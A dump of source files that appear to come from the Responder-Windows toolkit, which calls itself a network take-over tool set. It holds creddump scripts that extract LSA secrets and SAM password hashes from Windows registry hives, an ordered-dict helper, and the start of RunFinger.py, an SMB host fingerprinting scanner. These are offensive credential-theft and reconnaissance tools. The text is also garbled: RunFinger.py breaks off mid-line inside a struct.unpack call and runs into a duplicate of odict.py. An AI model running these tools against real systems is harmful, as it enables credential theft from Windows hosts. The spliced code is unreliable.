| @author: Brendan Dolan-Gavitt 20 | @license: GNU General Public License 2.0 or later 21 | @contact: bdolangavitt@wesleyan.edu 22 | """ 23 | 24 | import sys 25 | from framework.win32.lsasecrets import get_file_secrets 26 | 27 | # Hex dump code from 28 | # http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812 29 | 30 | FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) 31 | 32 | def dump(src, length=8): 33 | N=0; result='' 34 | while src: 35 | s,src = src[:length],src[length:] 36 | hexa = ' '.join(["%02X"%ord(x) for x in s]) 37 | s = s.translate(FILTER) 38 | result += "%04X %-*s %s\n" % (N, length*3, hexa, s) 39 | N+=length 40 | return result 41 | 42 | if len(sys.argv) < 3: 43 | print "usage: %s Bootkey " % sys.argv[0] 44 | sys.exit(1) 45 | 46 | secrets = get_file_secrets(sys.argv[1].decode("hex"), sys.argv[2]) 47 | if not secrets: 48 | print "Unable to read LSA secrets. Perhaps you provided invalid hive files?" 49 | sys.exit(1) 50 | 51 | for k in secrets: 52 | print k 53 | print dump(secrets[k], length=16) 54 | 55 | -------------------------------------------------------------------------------- /src/tools/MultiRelay/creddump/pwdump.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # This file is part of creddump. 4 | # 5 | # creddump is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # creddump is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with creddump. If not, see . 17 | 18 | """ 19 | @author: Brendan Dolan-Gavitt 20 | @license: GNU General Public License 2.0 or later 21 | @contact: bdolangavitt@wesleyan.edu 22 | """ 23 | 24 | import sys 25 | from framework.win32.hashdump import dump_file_hashes 26 | 27 | if len(sys.argv) < 3: 28 | print "usage: %s bootkey SAM_File" % sys.argv[0] 29 | sys.exit(1) 30 | 31 | dump_file_hashes(sys.argv[1].decode("hex"), sys.argv[2]) 32 | -------------------------------------------------------------------------------- /src/tools/MultiRelay/odict.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from UserDict import DictMixin 18 | 19 | class OrderedDict(dict, DictMixin): 20 | 21 | def __init__(self, *args, **kwds): 22 | if len(args) > 1: 23 | raise TypeError('expected at most 1 arguments, got %d' % len(args)) 24 | try: 25 | self.__end 26 | except AttributeError: 27 | self.clear() 28 | self.update(*args, **kwds) 29 | 30 | def clear(self): 31 | self.__end = end = [] 32 | end += [None, end, end] 33 | self.__map = {} 34 | dict.clear(self) 35 | 36 | def __setitem__(self, key, value): 37 | if key not in self: 38 | end = self.__end 39 | curr = end[1] 40 | curr[2] = end[1] = self.__map[key] = [key, curr, end] 41 | dict.__setitem__(self, key, value) 42 | 43 | def __delitem__(self, key): 44 | dict.__delitem__(self, key) 45 | key, prev, next = self.__map.pop(key) 46 | prev[2] = next 47 | next[1] = prev 48 | 49 | def __iter__(self): 50 | end = self.__end 51 | curr = end[2] 52 | while curr is not end: 53 | yield curr[0] 54 | curr = curr[2] 55 | 56 | def __reversed__(self): 57 | end = self.__end 58 | curr = end[1] 59 | while curr is not end: 60 | yield curr[0] 61 | curr = curr[1] 62 | 63 | def popitem(self, last=True): 64 | if not self: 65 | raise KeyError('dictionary is empty') 66 | if last: 67 | key = reversed(self).next() 68 | else: 69 | key = iter(self).next() 70 | value = self.pop(key) 71 | return key, value 72 | 73 | def __reduce__(self): 74 | items = [[k, self[k]] for k in self] 75 | tmp = self.__map, self.__end 76 | del self.__map, self.__end 77 | inst_dict = vars(self).copy() 78 | self.__map, self.__end = tmp 79 | if inst_dict: 80 | return self.__class__, (items,), inst_dict 81 | return self.__class__, (items,) 82 | 83 | def keys(self): 84 | return list(self) 85 | 86 | setdefault = DictMixin.setdefault 87 | update = DictMixin.update 88 | pop = DictMixin.pop 89 | values = DictMixin.values 90 | items = DictMixin.items 91 | iterkeys = DictMixin.iterkeys 92 | itervalues = DictMixin.itervalues 93 | iteritems = DictMixin.iteritems 94 | 95 | def __repr__(self): 96 | if not self: 97 | return '%s()' % (self.__class__.__name__,) 98 | return '%s(%r)' % (self.__class__.__name__, self.items()) 99 | 100 | def copy(self): 101 | return self.__class__(self) 102 | 103 | @classmethod 104 | def fromkeys(cls, iterable, value=None): 105 | d = cls() 106 | for key in iterable: 107 | d[key] = value 108 | return d 109 | 110 | def __eq__(self, other): 111 | if isinstance(other, OrderedDict): 112 | return len(self)==len(other) and \ 113 | min(p==q for p, q in zip(self.items(), other.items())) 114 | return dict.__eq__(self, other) 115 | 116 | def __ne__(self, other): 117 | return not self == other 118 | -------------------------------------------------------------------------------- /src/tools/MultiRelay/relay-dumps/.gitignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lgandx/Responder-Windows/eee1254b2fce47e469a3ab8cf572c3c499df70b4/src/tools/MultiRelay/relay-dumps/.gitignore -------------------------------------------------------------------------------- /src/tools/RunFinger.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import re,sys,socket,struct 18 | import datetime 19 | import multiprocessing 20 | from socket import * 21 | from odict import OrderedDict 22 | import optparse 23 | 24 | __version__ = "0.6" 25 | 26 | parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0]) 27 | 28 | parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None) 29 | parser.add_option('-g','--grep', action="store_true", dest="Grep", default=False, help="Output in grepable format") 30 | options, args = parser.parse_args() 31 | 32 | if options.TARGET is None: 33 | print "\n-i Mandatory option is missing, please provide a target or target range.\n" 34 | parser.print_help() 35 | exit(-1) 36 | 37 | Timeout = 2 38 | Host = options.TARGET 39 | Grep = options.Grep 40 | 41 | class Packet(): 42 | fields = OrderedDict([ 43 | ]) 44 | def __init__(self, **kw): 45 | self.fields = OrderedDict(self.__class__.fields) 46 | for k,v in kw.items(): 47 | if callable(v): 48 | self.fields[k] = v(self.fields[k]) 49 | else: 50 | self.fields[k] = v 51 | def __str__(self): 52 | return "".join(map(str, self.fields.values())) 53 | 54 | def longueur(payload): 55 | length = struct.pack(">i", len(''.join(payload))) 56 | return length 57 | 58 | def GetBootTime(data): 59 | Filetime = int(struct.unpack('. 17 | from UserDict import DictMixin 18 | 19 | class OrderedDict(dict, DictMixin): 20 | 21 | def __init__(self, *args, **kwds): 22 | if len(args) > 1: 23 | raise TypeError('expected at most 1 arguments, got %d' % len(args)) 24 | try: 25 | self.__end 26 | except AttributeError: 27 | self.clear() 28 | self.update(*args, **kwds) 29 | 30 | def clear(self): 31 | self.__end = end = [] 32 | end += [None, end, end] 33 | self.__map = {} 34 | dict.clear(self) 35 | 36 | def __setitem__(self, key, value): 37 | if key not in self: 38 | end = self.__end 39 | curr = end[1] 40 | curr[2] = end[1] = self.__map[key] = [key, curr, end] 41 | dict.__setitem__(self, key, value) 42 | 43 | def __delitem__(self, key): 44 | dict.__delitem__(self, key) 45 | key, prev, next = self.__map.pop(key) 46 | prev[2] = next 47 | next[1] = prev 48 | 49 | def __iter__(self): 50 | end = self.__end 51 | curr = end[2] 52 | while curr is not end: 53 | yield curr[0] 54 | curr = curr[2] 55 | 56 | def __reversed__(self): 57 | end = self.__end 58 | curr = end[1] 59 | while curr is not end: 60 | yield curr[0] 61 | curr = curr[1] 62 | 63 | def popitem(self, last=True): 64 | if not self: 65 | raise KeyError('dictionary is empty') 66 | if last: 67 | key = reversed(self).next() 68 | else: 69 | key = iter(self).next() 70 | value = self.pop(key) 71 | return key, value 72 | 73 | def __reduce__(self): 74 | items = [[k, self[k]] for k in self] 75 | tmp = self.__map, self.__end 76 | del self.__map, self.__end 77 | inst_dict = vars(self).copy() 78 | self.__map, self.__end = tmp 79 | if inst_dict: 80 | return self.__class__, (items,), inst_dict 81 | return self.__class__, (items,) 82 | 83 | def keys(self): 84 | return list(self) 85 | 86 | setdefault = DictMixin.setdefault 87 | update = DictMixin.update 88 | pop = DictMixin.pop 89 | values = DictMixin.values 90 | items = DictMixin.items 91 | iterkeys = DictMixin.iterkeys 92 | itervalues = DictMixin.itervalues 93 | iteritems = DictMixin.iteritems 94 | 95 | def __repr__(self): 96 | if not self: 97 | return '%s()' % (self.__class__.__name__,) 98 | return '%s(%r)' % (self.__class__.__name__, self.items()) 99 | 100 | def copy(self): 101 | return self.__class__(self) 102 | 103 | @classmethod 104 | def fromkeys(cls, iterable, value=None): 105 | d = cls() 106 | for key in iterable: 107 | d[key] = value 108 | return d 109 | 110 | def __eq__(self, other): 111 | if isinstance(other, OrderedDict): 112 | return len(self)==len(other) and \ 113 | min(p==q for p, q in zip(self.items(), other.items())) 114 | return dict.__eq__(self, other) 115 | 116 | def __ne__(self, other): 117 | return not self == other 118 | --------------------------------------------------------------------------------